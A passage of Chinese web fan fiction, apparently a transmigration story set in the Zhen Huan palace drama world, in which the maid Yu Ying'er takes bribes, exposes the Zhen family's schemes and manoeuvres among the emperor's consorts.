余莺儿想都没想:“不是这位小妾的娘亲像就是小妾的爹爹像,总得有爹娘和这位先福晋有相似才对。” 皇上点了点头:“但这位王爷位高权重,若是妾室的爹爹娶了和王爷先福晋相似的妻子,不会一点风声就没有。” 余莺儿挥了挥手:“倒也不是如此绝对,做小妾的女子,家世可能不算高,那这位妾室的爹爹能结交的人也有限,说不得他再有点清高,想要做出一副出淤泥而不染的样子,那能见到的位高的人就更少了。 而王爷府上来往的都是什么人?能见到先福晋的定也是高门贵女,不知道也很正常。” 余莺儿硬给皇上圆了这个结,编的她脑壳痛,这点她早就好奇了好吗?! 皇上倒是听进去了,对甄远道也有点了解,确实是个清高的文官。 至于是不是真的清高,单看那浣碧就知道那全都是假象。 浣碧的失踪叫甄嬛坐立不安,她只能拜托有几分宫权的沈眉庄。 然而沈眉庄是个头铁的,直接找到了皇上这里。 因为浣碧离开的动静并不算小,她得知了是被养心殿的余姑娘带走的,便毫无顾忌的过来问上一问。 “奴婢记着沈贵人是济州协领家的。” 余莺儿用鼻孔看着沈眉庄,面上满是不屑。 沈眉庄的动静很大,华妃早就知道了。 她让颂芝来给余莺儿送了六个金元宝,只有一个不要给沈贵人面子的小小要求,余莺儿当然要好好执行。 皇上也讨厌沈眉庄这股没有规矩的作态,所以并未阻止。 “我跟皇上说话,哪里有你这个奴婢插嘴的份。” 就连皇上都震惊了,就算余莺儿是宫女,也是他身边的一等宫女,走出去除了太后宫里的竹息,谁不得尊称一句余姑娘。 这位沈贵人不知道是太看重自己,还是太不懂尊卑。 余莺儿真是被气笑了,沈眉庄果然是后宫第一孤儿,家人完全不放在心上。 “果然是孔孟之乡来的贵女,说话不仅硬气还不管家里人的死活。别管奴婢身份卑不卑微,但奴婢是皇上的奴才,沈贵人看不起奴婢,想来,也是看不起奴婢的主子了?” 沈眉庄立刻跪在地上请罪:“嫔妾绝无此意。” 皇上没有出声,单看这段时间沈眉庄的手段他就知道,压制华妃这事基本是选错人了。 “沈贵人哪里不敢呢?您都敢来跟皇上要人了!您不会不知道奴婢没有权利扣着后宫娘娘们的婢女吧? 如果浣碧没有问题,皇上能为了一个小小奴婢动手吗?您当皇上跟您一样吗?每日闲的只能去碎玉轩说别人坏话?” 余莺儿才不管沈眉庄高不高兴,反正她说的很高兴。 “这武将家的女儿就是气魄非凡,有点风吹草动的不私下里询问一下经过,就敢来皇上这里要个说法,啧啧,奴婢真是佩服您的骁勇呢。” 浣碧没要回来,沈眉庄的脸也丢到了养心殿,余莺儿大获全胜。她收了钱,绝对是物超所值! 第358 章 余莺儿7 但如今余莺儿给他添了一个藐视皇家的切实罪名,这可就不是四品的官帽可以解决的问题了。 安陵容过甄府,算贵客,甄府一无开正门阖府迎接,二无甄府两位主子请安行礼。即使安陵容的家世不显,彼时也已经入选成为皇帝的后妃,甄府此举便是不把爱新觉罗氏看在眼里。 僭越之罪都已经不足以形容甄府的作为,皇上没有犹豫,直接定了甄远道的罪。 甄府喜提宁古塔套餐,不过甄远道是去不了了,直接在菜市口上路,提前去地下为甄母等人探路。 甄嬛现如今也沦为罪臣之女,莞字她不配,常在位分她也不配。皇上一道圣旨下去,莞常在变甄答应,甚至还不如安陵容,毕竟安家还有官身。 浣碧言语僭越不敬主子,五十大板下去就和甄远道去了地府团聚。 “这甄府果然是一摊浑水。” 皇上看了眼夏刈送来的消息冷哼了一声把纸摔在了桌子上。 夏刈是从雍亲王府跟着他的老人了,确定了甄云氏的容貌和纯元有八九分的相似。 为了不让纯元的美名被玷污,这流放的第一道坎甄云氏和甄玉娆就没过去,丧命在了山匪的刀下。 皇上如此果决主要还是初登基,本来他的名声就不好,外头八王的余孽巴不得给他泼脏水,他不得不亲手解决掉有可能成为污点的两人。 余莺儿探了探头,又探了探头,偷偷摸摸的样子十分辣眼睛。 “你要看便看,何苦做这副怪样子,看的朕眼睛疼。” 经过甄家一事,余莺儿在皇上心里的地位直线上升,也会跟余莺儿分享折子上的趣事和聒噪,那架势简直拿余莺儿当了哥们处着。 余莺儿嘿嘿一笑,利索的把纸拿起来慢慢的看着。 必须得慢慢的,她是一个刚认字的人,人设不能崩。 “好家伙,甄远道知道其福晋肖似纯元皇后还敢娶?!” 拉到菜市口前皇上派夏刈严刑拷打了一番,甄远道看着挺有文人风骨,实则两鞭子就招了。 “天啊!那甄答应竟是从小学习纯元皇后的惊鸿舞?!” 余莺儿看着手里薄薄的一张纸十分的吃惊,她拍了拍皇上的肩膀有些疑惑:“皇上,甄远道不过四品官,再往前就更低了,他怎么知道这些事的?他怎么能请到纯元皇后的教导嬷嬷的?” 她和甄嬛隔着一条命,虽说她不伤人性命,但开局就得先把甄嬛的光环扒了。 皇上皱眉,看了看余莺儿手里的纸也很疑惑:“这些夏刈都没查出来?” 余莺儿啧啧两声摇了摇头:“皇上,您这暗卫就像那拉磨的驴一样,踹一脚动一下,您不吩咐他也不知道干,这哪行啊?” 房顶上的夏刈,死死地盯着下头那道可恶的身影,只是没有主子的吩咐,他不能随意走动。 皇上显然把余莺儿的话听了进去,他对夏刈的效率很是嫌弃。 “接着去查,朕要知道所有的事情。” 夏刈应了是就离开,余莺儿继续从甄远道的供纸里挑毛病。 “皇上!甄答应竟然知道浣碧是她同父异母的亲妹妹,居然还打着为浣碧好的名头带进了宫?!” 余莺儿的阅读分析可没白看,每条罪名都给他揪的明明白白。 皇上不敢相信那张小纯元的脸竟能做出如此下作的事,看了一眼旁边缩着的苏培盛说了一声:“把甄答应带来。” 苏培盛刚想去,余莺儿就拦了一下:“皇上,还是奴婢去吧。” 皇上奇怪的看了一眼余莺儿,他这位大宫女除了有乐子的时候跑的快些,平日里能不出门就不出门,哪里有勤快的时候? “你今日倒是勤快,怎么了?” 余莺儿笑着凑到皇上耳朵边,嘀嘀咕咕的说道:“奴婢查甄答应那事时听外头的小宫女说,碎玉轩的掌事宫女就是苏公公在选秀后亲自调过去的,听说是苏公公的同乡呢。” 皇上惊疑的目光在苏培盛身上来回扫视,他很搞不明白陪了他多年的奴才是不是突然傻掉了。 “那你快去快回。” 苏培盛心里咯噔一下,他不知道哪里出了问题,脑子飞速旋转,也没找着自己的错漏。 皇上也没搭理他,自顾自的看着手里的书。 桌子上的西洋钟哒哒的走着,苏培盛的冷汗快速的流。 碎玉轩。 “余姑娘怎么过来了?可是皇上有事?” 甄嬛的脸色十分的差劲,一个浣碧把甄家的前程直接断送了出去,一下子失去了三个亲人她现在心里很难平静下来。 沈眉庄基本上白日里都陪在碎玉轩,企图安慰自己的嬛儿妹妹。 看到余莺儿,甄嬛尚能扯出还算温和的假意亲近,沈眉庄就做不来这样子了,她向来是爱憎分明,谁的面子也不会给。 余莺儿冷笑一声,看了看崔槿汐看了看正殿。 “皇上请甄答应去养心殿,您请吧。” 甄嬛看了眼流朱,流朱上前想要塞荷包给余莺儿,被余莺儿后退一步躲了过去。 笑话,她可不拿甄嬛的钱,三瓜俩枣的,打发谁呢。 “快请吧甄答应。” 余莺儿油盐不进,沈眉庄怕甄嬛吃亏,陪着一起到了养心殿。 余莺儿也没有阻止,还悄摸摸的叫小琦子去通知了华妃。 华妃隔三差五的来送金元宝,余莺儿得为自己的VIP负责。 一路上崔槿汐几次试图套话都被余莺儿那意味深长的笑容打断,主仆几人心里头似是惴着兔子,蹦跶的毫无章法。 华妃的翊坤宫近些,比余莺儿等人先一步到养心殿。 余莺儿进门就跟华妃的眼神对上了,华妃挑了挑眉,余莺儿回她一个搞事的微笑。 “嫔妾给皇上请安,皇上万福金安。” 皇上没在意多了几个观众,丢人的又不是他。 “甄答应,你知道浣碧是你的妹妹,是也不是?” 甄嬛的脑子快速转动,她想着皇上的表情和语气,又想了想下狱被斩首的爹,心知没有撒谎的余地。 “是,入宫前一晚,嫔妾的父亲曾告诉嫔妾,浣碧是嫔妾同父异母的妹妹。嫔妾想着,浣碧在府里也不过是配个小厮潦草一生,便想着把人带进宫来,说不得会有个好前程。” 余莺儿没忍住噗嗤一声笑了出来。 “这可真真儿是好笑,你若是真为了那浣碧好,怎么不为她脱离奴籍,即使认个养女在甄府,以后嫁个家境殷实的做个正头娘子? 你们父女俩可真虚伪,打着为别人好的幌子做尽了恶心事。浣碧作为你的婢女入宫,便是入了包衣旗,那便一辈子都是个伺候人的。哪里还有什么好前程?要说好前程也倒有一个,咱们皇上才是最好的前程。 宫里的宫女都是皇上的人,你病了这么久,怎么不把浣碧送到养心殿来?虽然皇上看不上,但也算是你为了浣碧的前程奔一奔不是?!” 余莺儿的话又急又密,甄嬛和沈眉庄都无从插口。 皇上满意点头,对余莺儿的战斗力表示了认可。 而华妃更是赞叹连连,甚至嫌弃的看了一眼身边的颂芝。 同样都是大宫女,怎么皇上的宫女如此能言善辩,而她的宫女只会仗势欺人。 “嫔妾,嫔妾只是年岁小阅历少,一时间没能思虑周全。” 华妃在一旁补刀:“甄远道那么大岁数了,不也同意了?鸡鸣狗盗之辈罢了。” 华妃绝对是吐槽界的最佳搭子,要是华妃能坚持不懈的给余莺儿送钱,余莺儿就勉强抛下她放弃原主的仇,看情况的为她说点好话。 第359 章 余莺儿8 皇上刚想把人打发出去,余莺儿拉了拉他的衣裳说道:“皇上,奴婢去碎玉轩发现了点问题。” 还来?!甄嬛都以为自己是不是得罪了这位余姑娘了。 “什么问题?” 皇上也很心累,他没什么表情的看了一眼华妃,意思很明显:你管理的后宫,怎么这么多问题? 还没等华妃说什么,余莺儿开口道:“甄答应住到了碎玉轩的正殿,还以答应的位分把掌事宫女收拢到了身边伺候。” 华妃立刻直起了身子,这事还真在她的管辖范围之内。 “此话当真?” 余莺儿眼神扫了一眼一旁的苏培盛,挺着胸膛骄傲道:“真真儿的!” 沈眉庄被这一件接一件的罪名弄的头晕眼花,但她还是下意识的说了一句:“余姑娘何必如此苦苦相逼?” 余莺儿满脸疑惑,她看了看皇上看了看华妃:“皇上,奴婢不是按宫规办事吗?难道甄答应和沈贵人不在宫规的管辖之下?” 宫规,两个字堵住了沈眉庄的嘴。 “你没错,既然沈贵人和甄答应规矩不好,那便禁足抄写宫规五十遍,什么时候写完了,什么时候再出来吧。” 皇上看了一眼缩在一起的苏培盛,然后继续说道:“正殿,只有一宫主位才可住,甄答应一个人也不必占用一个宫室了,就,挪到咸福宫的后殿吧。” 皇上是考虑咸福宫的主位敬嫔是个懂规矩的,想来可以约束甄嬛一二。 哪里想到他话音刚落,沈眉庄就激动的抬头看着甄嬛。 皇上这才意识到沈眉庄也不是个守规矩的,敬嫔并没有对其有什么约束力。 思及此,皇上对着余莺儿道:“你去跟敬嫔说,按照宫规约束沈贵人和甄答应两人,若是她们俩再弄出什么错漏,朕就拿她试问。” 敬·纯冤种·嫔,人在宫中做,锅从天上来。 余莺儿脆生生的应了声是,愉快的下去跑腿。 甄嬛在沈眉庄的帮助下也快速的搬到了咸福宫。 敬嫔头大的看着一而再再而三和皇上,宫规对着干的两人,突然很想念华妃。 “皇上身边的人果然是极好的。” 华妃有些意动,只是她也知道皇上的宫女她只能看不能带走。 皇上乐呵呵的拍了拍华妃的手,眼神里都是愉悦:“莺儿确实能干。” 解决了甄嬛,余莺儿快乐的穿梭在后宫,把自己收集来的皇上的喜好都送到了碧鲁氏的手里,那边精心为皇上准备的宫女套餐也准备开扬唱戏。 “天光正好,你多出去走一走。” 皇上拉着‘不情不愿’的余莺儿走到御花园,这里有一小片杏花开的正盛。 “绿杨烟外晓寒轻,红杏枝头春意闹。” 说完,皇上扭头看向落后他一步的余莺儿考较道:“你也学了这么久,这句诗出自何处你可知晓?” 前段时间认字的考核完美通过,余莺儿已经拿到了每个月涨了十两银子的俸禄了。 “自然知道,这是宋祁的【玉楼春·春景】。” 她神情骄傲,背着手的样子颇像尚书房的夫子,惟妙惟肖。 “哈哈,你记性好,背书快。” 皇上本是笑着,但说着说着就想到了自己那个背了后头忘了前头的三阿哥,自己都觉得自己扫兴。 “奴婢给您折两只杏花插瓶怎么样?” 合格的打工人看出了老板的不痛快,为了避免这股火烧到自己身上,也为了引出接下来的重头戏,余莺儿选择躲避技能。 皇上点了点头,他也想看看努力纠正了这么久的审美究竟有没有出师。 余莺儿带着小琦子离开,高无庸跟着皇上在御花园转悠。 走到千秋亭处,一个正在侍弄花草的宫女进入到了皇上的视线。 “奴婢给皇上请安。” 皇上充耳不闻,本想直接走过,却被小宫女头上那简陋但格外野趣的珠花吸引住了视线。 “你头上那是梅花?” 只能说形似,歪歪扭扭的,倒有几分童趣。 小宫女似是没想到皇上会驻足,她尽量稳着声音回话道:“是,奴婢手艺粗陋。” 和安陵容的恐慌害怕不同,这小宫女拿捏的情绪刚好到位。 皇上本也是为着放松,听着这悦耳的声音心情也好。 “抬起头来。” 小宫女名舒姣,是碧鲁氏这一代最漂亮最聪明的女孩儿。碧鲁氏混迹内庭不知道多少年,最了解这些皇上们的心思。 说什么言行德行,最先入眼的还是脸。 没有那张脸,除非有个足以叫皇上放在心上的家世,不然什么言行德行,连入皇上眼的机会都没有。 他们世代服务内庭,也不是没想过走一条通天路,只是经历的这几个皇帝大家都了解。 没入关前的努尔哈赤和皇太极,拼命打仗。 顺治,拼命跟孝庄作对。 康熙,后宫就是一片厮杀扬,上桌的可能太小。 只有到了如今的皇上,那仨瓜俩枣的后妃,难能可贵的三个阿哥,最重要的是,御前的余姑娘,给钱是真办事啊! 所以舒姣来了,那张脸不说倾国倾城,也称得上一句秀色可餐。再加上一点点江南女子的柔情,皇上可不是一眼就看上了。 余莺儿有句话说的对,宫里的宫女都是他的,看上了就带回去,没什么大不了。 高无庸在皇上开口时就示意身后的小太监离开了这里,等到皇上把人带进养心殿,这小宫女的生平就详细的出现在了皇上面前。 皇上点了点头,对高无庸的工作能力表示了认可。 而此时,从御花园单独回来的余莺儿捧着一个青釉荸荠式三系瓶,里头错落的插了几支杏花和还是花苞的桃花枝。 “比你刚来时那大红大紫的做派好多了。” 皇上给出了极高的评价,然后把花瓶放到了一旁的条案上。 “皇上的眼光真是一如既往的好,奴婢在这里是不是碍事了?” 舒姣已经在皇上身边磨起了墨,余莺儿想着,自己应该可以下班了。 岂料皇上抬了抬手,点了点自己桌子上的纸。 余莺儿凑近看了一眼,是舒姣的生平。 看着皇上的眼神,余莺儿懂了,这是又叫自己出去打听去。 她行了一礼,给了皇上一个包在我身上的动作立刻退了出去。 “余姑娘。” 那娇滴滴的声音不用看人就知道,是颂芝。 “颂芝啊,有事吗?” 余莺儿笑眯眯转身,对大金主还是很友好的。 颂芝笑着塞给余莺儿一个沉甸甸的荷包,然后靠近了些打听道:“听闻皇上今儿心情还好?可是有什么高兴的事?” 余莺儿掂了掂荷包的重量,不错,压手。 “跟华妃娘娘说一声,这位姑娘是碧鲁氏出身,叫娘娘沉下心。” 颂芝郑重的点了点头,觉得余姑娘真好,给钱了什么消息都跟她们娘娘说。 华妃作为有宫权的后妃,自然知道碧鲁氏。 她抿了抿嘴有些不高兴,但余莺儿的话她还是听进去了。 内庭,可不是她这个年大将军的妹妹能对上的。 “给余姑娘多送些金子,少不得麻烦余姑娘。” 双方都觉得这笔交易很划算。 而还在追查甄府那些破事的夏刈:呸,一个小小四品官这关系还挺复杂,他都追到凌云峰来了。 等等,凌云峰?! 第360 章 余莺儿9 一个摆夷族的宫妃,一个四品文官,先帝当时已经老糊涂成那样了? 他又仔细回忆了下自己找到的线索,杂七杂八的消息交织在一起,终于串成了一条明显的的指向。 蹲守在凌云峰五日,舒太妃这里一无所获。 夏刈只好先一步回到宫里,把自己的半成品成果递到了皇上手里。 “何绵绵,碧珠儿。” 皇上看着纸上那两个陌生的名字,手指轻轻敲着桌子。 “舒太妃可有和谁联系?” 只一个舒太妃,做不成这么多的事情。 夏刈低着头,声音闷闷的:“并无,只有果郡王去凌云峰看望了两次。” 皇上突然觉得甄远道杀早了,这样一个看似清流窝囊的男人居然能搞出来两条不同的路子。 教导甄答应惊鸿舞的教养嬷嬷是舒太妃送的,而那位外室又是舒太妃的闺中密友。 但最奇特的是,舒太妃竟然不知道何绵绵做了甄远道的外室。 这甄远道是什么很厉害的人物吗?皇上想不明白。 “皇上,奴婢回来啦。” 高无庸亲自给余莺儿推开了门,躬身把人迎了进去。 笑话,他不配进去参与的私密局,但余姑娘配。 皇上抬起头,倒也没有让夏刈躲起来。 “可是有何发现?” 这几日余莺儿都在帮皇上查碧鲁舒姣的事,顺便路过咸福宫给敬嫔紧紧脑子,叫她好生看着那两个人,可谓是十分忙碌了。 “自然有,那碧鲁氏舒姣是庆丰司主事碧鲁阿奇的嫡幼女,于康熙六十年小选进宫今年十五岁。 进宫后一直在奉宸苑侍弄花草,听同住的宫女说,碧鲁大人给舒姣姑娘还选了夫家呢,就是上驷院阿敦侍卫高丰镐。” 余莺儿说着,眉头挑动嘴角带着奇特的笑意,看的皇上眼睛疼。 “别作怪。” 这夫家一事高无庸还真没有调查出来,毕竟舒姣在宫中不可定亲,那只是碧鲁氏和高氏的口头约定,舒姣也只是和同住的小姐妹念叨过一次而已。 余莺儿收敛了表情继续道:“倒也没什么稀奇的,碧鲁氏世代服务内庭,家里头大部分在都虞司营造司和庆丰司任职。 这位碧鲁舒姣姑娘家里头也简单,一个嫡亲的大哥身子有些病弱,一个庶出的小弟倒是健康,目前在庆丰司做牧长。” 皇上点了点头,意味深长的看了一眼木头桩子似的夏刈。 “对了,听闻那碧鲁舒姣极爱哭,生气也哭高兴也哭和人闹矛盾了也哭。” 余莺儿看好戏的表情太过明显,皇上顺手拿起手边的荷包扔到她身上做愤怒状。 “还看上朕的笑话了。” 余莺儿没有躲,笑嘻嘻的把荷包捡起来自然的揣到自己的怀里:“皇上,听闻舒姣姑娘的有个庶出的姐姐,去年得了一对双胞胎哦。” 双胞胎果然很吸引皇上,众所周知,这玩意儿算是家族遗传。 “果真?” 皇上倒也不是怀疑余莺儿,而是这样的事情若是在内庭的官员身上,他不应该没得到消息才是。 “没错,真真儿的。皇上您没收到消息是因为这位唤舒妩的庶女被碧鲁大人赶出家门啦。” 余莺儿打探消息可是专业的,碧鲁氏的姑娘每年都要送进宫里好些个,这位舒妩也在其中。只要是进过宫的,余莺儿都能左拐右拐的打探出来一二。 这倒是叫皇上起了兴致,他微微探身,看着余莺儿问道:“这是为何?” 余莺儿从袖口里摸出一个纯金的醒木往桌子上轻轻一拍:“说书唱戏劝人方,三条大路走中央。善恶到头终有报,人间正道是沧桑。咱们今日,便讲碧鲁家二娘的故事。 话说这位碧鲁舒妩正是逾笄之年,得先皇开恩出宫恢复自由身。家中为其寻得一门登对的亲事,乃是上驷院的笔帖式魏大人。 但这千里的姻缘月老早早牵,舒妩格格在去上善寺上香时遇到了一位风光月霁身高七尺的落魄白面书生。 舒妩格格对其一见倾心,非君不嫁,背着家人和这落魄书生频繁书信。并且为了这书生拒绝了家里安排的婚事。 碧鲁大人怒不可遏,直言‘父母之命,媒妁之言,竖女怎敢做出如此辱没门楣之事?!’” 余莺儿学着戏文里老生的样子,呜呜呀呀的扮着派头,引得皇上挪不开眼睛。 “舒妩哭喊不止,不惜以伤害父母赐下的肉身为代价绝食抗议。碧鲁大人也不想结亲变结仇,只好带着愧疚退了这门亲事,同时和这位舒妩格格断了亲。 直言‘碧鲁氏世代忠于皇室服务内庭,绝不会允许有外人插手其中存下一丁点隐患。’ 舒妩格格自知对不起家人,三个头磕断了血脉亲情和穷书生私定了终身。” 这扬戏落幕,皇上意犹未尽的咂了咂嘴:“碧鲁氏世代忠心,朕都看在眼里。” 余莺儿眨眨眼:啊?话本子加工你也信啊?! 不过她没有说话,而是端起自己的专属茶盏灌了三杯水。 随意的动了动脑袋,就看到一脸佩服的夏刈。余莺儿给了他一个白眼,很明确的拒绝道:“不好意思,不收徒。” 夏刈:啊? “你倒是有本事。” 皇上想,若是余莺儿去查甄家的事,怕是现在早就水落石出了。 余莺儿捏着皇上给的小金条笑的毫不客气:“这算什么本事,夏大人不会吗?” 夏刈还真不会。 皇上想着甄家这事拖也不是个办法,便给了余莺儿令牌和五天的时间出宫办差。 “放心吧皇上,保管给您查的明明白白。” 夏刈作为副手,陪着余莺儿出宫,只见她目的明确的叫人带着直奔甄府。 “夏大人,把甄家的奴仆尤其是前院伺候的都找过来。” 余莺儿说着,没搭理夏刈,左右看了看,凭借对这个时代的建筑的了解,碰运气摸到了甄远道的书房。 根据小说世界的定理,这里一定有密室和书信。 系统鸡肋但可以寻物,半晌功夫,余莺儿就找到了几张泛黄的旧书信。 在夏刈不可思议的眼神中,拿着粗大的银针随意的扎了一个小厮,剩下的人便把甄远道经常出门的去处交待了出来。 那是北街的一处小院,如今蒙了一层厚厚的灰尘。 余莺儿摸到了浣碧母亲生前住的地方,找到了甄远道写的情诗。 然后目的明确的叫夏刈去找当初照顾浣碧的那个婆子。 甄府那里还搜到了一个不起眼的玉佩,只是文字奇特,余莺儿看不懂。 又在甄府小厮的指证里找到了甄远道置办的另一处房产,这里倒是干净,像是不久前有人踏足过一样。 余莺儿和夏刈在这里等了三日,抓到了一个鬼鬼祟祟的男人。 以针戳手指的酷刑逼供,很快就得了想要的消息。 夏刈负责带人,余莺儿负责拿着口供,两人完美完成任务。 回宫的路上夏刈时不时看余莺儿一眼,表情带了些有话要说。 余莺儿只做不知。 这几日外头的开销都由夏刈出,没想到啊,暗卫是真的有钱。 光是点心烧鸡和烧鱼,余莺儿的空间都不知道囤了多少。 夏刈从一开始惊诧余莺儿的饭量到习惯也不过用了两天时间。 他已经没有了挖余莺儿来粘杆处工作的念头了,别的不说,主要是供不起。 第361 章 余莺儿10 “余姑娘可算是回来了,皇上也是,什么事不能叫高无庸去干,非要叫余姑娘去,瞧瞧,都瘦了。” 房梁上的夏刈摸了摸自己扁下来的荷包目瞪口呆:瘦了?华妃娘娘什么时候瞎的? 余莺儿笑呵呵的推了推皇上的胳膊,皇上会意把一支做工有些粗糙但造型别致的芍药发簪递给华妃。 “这是朕叫莺儿在外头寻来的,宫里头的首饰名贵,但少了些活泼,这芍药发簪虽然不算金贵,但别致风流,格外适合你。” 皇上看着华妃感动到眼圈渐红的样子给了余莺儿一个表扬的眼神。 这几日因为偏宠舒姣叫华妃生了好大的怨气,幸好莺儿回来了,还给他支了招。 余莺儿:管他黑的白的好的坏的,只要给钱,都是对的。 华妃本想把余莺儿带到翊坤宫听会儿书,但是皇上说还有公事没有完成,只好可可惜惜的回去。 余莺儿一个人就把过程说了个明白,又把找出来的书信,玉佩,信物等证物给了皇上过目。 “舒太妃果然还留着人手。” 皇上看完只觉得心惊,舒太妃一个异族的后妃,当初他们谁都没有把她放在眼里,偏那位皇阿玛宠着,临终还给了几个人手护着。 估计他那皇阿玛也把舒太妃当成只能依靠男人的小兔子了。没想到人家暗中联系到族人,准备给爱新觉罗氏一个大惊喜。 十七年纪小,便惦记上了他们这些正打的火热的皇子的后院。 被盯上的他和老八,只有一个甄远道那里有个甄嬛有前程被培养了出来。 老八那里有当初的郭络罗氏看着,倒是没有叫摆夷族得逞。 “图谋甚广啊。” 皇上这一坐就坐了一下午,他从没想过他那英明神武的皇阿玛会被一个女人玩弄在股掌之中。 余莺儿动了动站的有些累了的腿,在心里默默的接话:“图谋的广吧,不就是你们老爱家的江山嘛。” 要说这舒妃也真是个人物,要不是甄嬛当时的养子弘历疑心太重,她本人也确实有点恋爱脑在身上,把弘曕过继给了允礼,那还真叫他们成了这算计了呢。 这事皇上不好明着说,毕竟涉及到了先帝的脸面。 只是舒太妃在清修时不小心打翻了烛火葬身火海,果郡王允礼奔丧时悲痛万分,不小心从凌云峰的台阶上摔了下去,左腿断裂,今后怕是还不如一个跛子。 前朝得了皇上的示意,对府中那摆夷族的姨娘和子女都稍作处理。 忙忙碌碌,天儿也热了起来。 咸福宫的甄答应抄完了宫规送到了景仁宫,当晚她的绿头牌就出现在了皇上面前。 这些时日皇上和玉常在正是浓情蜜意时,不过看到甄答应的绿头牌,还是没有犹疑的拿了起来。 玉常在就是碧鲁舒姣,她初封答应,不过两三个月就成了有封号的常在,皇上怜惜她性子娇气,把人放到了齐妃的长春宫。 舒姣自知自己聪明不过余姑娘,大把的金子砸下去,给族里外嫁的姑母的女儿寻了个好亲事,送进了三阿哥的身边。 三阿哥年长,身边还没有伺候的人,还不是皇后想要自家那位乌拉那拉青樱嫁进去。 舒姣聪明,在余莺儿的提点下,不过偶尔于齐妃耳边念叨几句,就挑起了齐妃的不满。 反骨疯长的给自家儿子送过去两个伺候的宫女,一位包衣魏氏,一位包衣姜佳氏,就是碧鲁氏的姻亲。 皇后为此发了好大的火,余莺儿‘正好’去景仁宫传话,‘不小心’听了皇后训斥齐妃的话,大大咧咧的去养心殿告状。 “皇上,皇后娘娘未免也有些严厉了。三阿哥这么大,有两个格格怎么了?怎么齐妃娘娘这个做额娘的,还没有这点权利了吗?” 皇后以为她的景仁宫铁板一块,其实不然。她抠门,又没什么家世底气,行事也不够大气,宫里头的包衣可不是好糊弄的。 皇上没有怀疑余莺儿的话,毕竟她可是这宫里头最喜欢学话的人。 “依你看,皇后这是意欲何为?” 皇上有意培养余莺儿对事务的敏锐度,他总觉得余莺儿比夏刈好用,若是培养得当,这后宫,还不是轻轻松松拿捏在手。 余莺儿坐在脚踏上扇了扇扇子,脸上带着些猜测:“莫不是,皇后有其她的人想要送到三阿哥那里?” 总不能说是怕耽误了三阿哥的学业吧?这话余莺儿敢说不敢信啊,三阿哥还没她学的快呢。 皇上没有说对也没有说不对,他只看着余莺儿不走心的说道:“你若是能查探出来,朕便赏你一块金砖。” 皇上说的金砖可不是红砖大小的金砖,而是养心殿那大块的地砖大小的金砖。 余莺儿立刻起身,干劲十足:“放心吧皇上,就没有奴婢搞不明白的事。” 想着面前这位宫女收了年羹尧的银票给了他,皇上的表情很复杂。 年羹尧知道余莺儿得皇上信重,便想要贿赂一下照顾华妃。 可惜他没有送对礼,他这位大宫女不喜欢银票,只喜欢金子。这银票兜兜转转竟是进了他这个皇帝的口袋。 在余莺儿的花言巧语,啊不是,是循循善诱下,华妃现在无师自通的学会了给自己哥哥画大饼。 画大饼这个词是余莺儿教给皇上的,‘只说不给,既能激发下人的积极性又能省钱。’ 这话皇上是赞同的,但是余莺儿说了,她不吃大饼,因为她是皇上身边的大宫女,清醒理智。 “你,罢了,你去干活吧。” 皇上想说些什么,又不知道说点什么,只好摆了摆手把余莺儿打发了出去。 “余姑娘,翊坤宫的蟹粉酥刚刚出炉,可要来尝尝?” 刚出了养心殿,余莺儿就看到笑的娇滴滴的颂芝。 “不必了,皇上有事要我去办,颂芝姑娘快回去照顾娘娘吧。” 颂芝懂了余莺儿的言外之意,皇上正忙着呢,她就不进去了。 再次踏入景仁宫,剪秋笑的很虚伪的走了出来。 “余姑娘来了,可是皇上有什么吩咐?” 余莺儿随口就编:“皇上听闻皇后娘娘和齐妃娘娘起了争执,叫我来问问,可是齐妃娘娘做错了什么事?” 剪秋一愣,虽然表情未变,但心里头已经开始嘀咕,到底是谁走漏了风声呢? 她想着院子里的几个洒扫的宫女太监,一时间拿不准主意。 “劳烦皇上担忧,是关于三阿哥的学业,皇后娘娘也是一片慈母之心,所以语气稍显急切。” 余莺儿点了点头,显然是不信的。 “既如此,那我便回去复命了。” 剪秋伸手拦了一下:“若是得空,不如余姑娘尝尝景仁宫的点心?” 想到被她放弃的蟹粉酥,余莺儿违背着良心答应了下来。 剪秋来回套了几次话,都没有从余莺儿嘴里得到什么有用的消息,一时情急问出了‘皇上可是对三阿哥的婚事有安排’的蠢话。 余莺儿抬了抬眼睛,疑惑的看向剪秋:“三阿哥也到了年岁成家立业,怎么?是皇后娘娘有人选推荐吗?” 她也是混笑着糊弄,但这几日有些头懵的主仆二人显然不太清醒。 “是皇后娘娘母家的青樱格格,和咱们三阿哥年岁差不多,又一同长大,皇后娘娘也是好奇多问上一句罢了。” 这话倒也没什么问题,皇后本来就有这个责任。 只不过皇后对齐妃送去的那两个格格太严厉了,才叫皇上觉得不对。 “原是如此,这么看来,倒也是一桩美谈呢。” 就这?余莺儿觉得这事毫无挑战力,皇后也太不把她当回事了吧? 第362 章 余莺儿11 总觉得这一块金砖赚的太过容易,余莺儿想着自己还是得在外头多晃悠两天,以免皇上觉得她办事过分轻松今后想着压价就不好了。 “管彤,走,咱们去御花园转转。” 御花园的宫女太监是轮岗制,余莺儿每隔几天都要去找人联络一下感情,付出几枚她看不上眼的小银角就可以得到丰富的小道消息。 这让她手里那些从碧鲁氏传回来的私信儿都有了合理的出处。凭借皇上和夏刈两个睁眼瞎,是绝对不会察觉出任何漏洞的。 御花园紧邻着四个宫室,储秀宫,咸福宫,钟粹宫和景阳宫她都转悠了一遍。从各处的包衣眼线里得到些不太重要甚至也可能不保真的八卦,便准备回养心殿复命。 余莺儿晃荡两圈,意外的在御花园的角落看到一个不算精致但明显有使用痕迹的秋千。她捉住一个御花园值守的小太监问了一句才得知,小允子居然跟着甄嬛到了咸福宫。 “去华妃娘娘那里问一下,可是有人上报在御花园动土了?” 御花园的一草一木都是钦天监算好的,绝不会存在私下调换的事情。 管彤得了信儿就跑到了翊坤宫,余莺儿在秋千这里晃了两圈,等到了秋千的主人。 “天气渐热,在屋子里头待着也是闷得慌,眉姐姐,御花园有处好玩儿的,我带你去看看。” 这声音余莺儿可熟悉,正愁自己的业绩,赶巧就送上了门。 “偏你是个闲不住的,怎么今日没有叫淳儿来?我记着她前儿个还念叨着去放风筝。” 甄嬛得宠后沈眉庄像是了了一桩心事般,虽然身边的采星和采月都不满甄答应霸占着皇上的恩宠,但沈眉庄自己不觉得,她只觉得她的嬛儿值得。 “她今日跑去了长春宫,齐妃娘娘做了栗子糕,把那个小馋猫勾了过去。” 沈眉庄轻轻笑了笑,两个人手挽着手刚拐弯,就看到了余莺儿似笑非笑的站在那秋千旁。 “奴婢给沈贵人请安,给甄答应请安。” 